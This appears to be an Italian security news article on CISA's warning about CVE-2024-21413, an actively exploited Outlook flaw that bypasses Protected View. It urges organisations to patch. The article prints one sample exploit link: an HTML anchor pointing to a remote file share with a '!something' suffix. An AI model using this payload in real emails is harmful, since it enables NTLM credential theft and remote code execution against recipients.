
Il CISA avverte sulla necessità di aggiornare una grave vulnerabilità di Microsoft, che è già sfruttata dagli aggressori in attacchi attivi. L’avvertimento vale in particolar modo per le agenzie federali.
La Vulnerabilità CVE-2024-21413 consente l’esecuzione di codice arbitrario su sistemi remoti, aggirando i meccanismi di sicurezza di Outlook.
L’errore è stato scoperto dai ricercatori di Check Point ed è correlato alla convalida errata degli input durante l’apertura di e-mail con link dannosi nelle versioni vulnerabili di Outlook.
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Sfruttando il bug, gli aggressori possono eludere la Visualizzazione protetta, progettata per bloccare i contenuti pericolosi. Ciò fa sì che i file di Office dannosi vengano aperti in modalità modifica, consentendo il download e l’esecuzione di codice dannoso.
Microsoft lo ha risolto il CVE-2024-21413 ma ha avvisato che la vulnerabilità rimane attiva anche in modalità anteprima documento. Il report di Check Point afferma che gli aggressori utilizzano una soluzione alternativa aggiungendo un punto esclamativo e testo casuale dopo l’estensione del file ai link con il protocollo.
Questo approccio consente di aggirare le difese di Outlook e scaricare contenuti dannosi.
Esempio:
<a href=”file:///\\10.10.111.111\test\test.rtf!something”>CLICK ME</a>
Sono a rischio diverse versioni dei prodotti Microsoft:
Lo sfruttamento riuscito della vulnerabilità potrebbe portare al furto delle credenziali NTLM e all’esecuzione di codice arbitrario.
Le agenzie federali devono correggere l’errore entro il 27 febbraio, in conformità con la direttiva BOD 22-01.
Il CISA sottolinea che tali vulnerabilità sono spesso prese di mira dagli hacker e rappresentano una seria minaccia per le infrastrutture governative. Sebbene l’ordinanza si applichi alle agenzie governative, gli esperti raccomandano vivamente a tutte le organizzazioni di installare urgentemente aggiornamenti di sicurezza per prevenire possibili attacchi.
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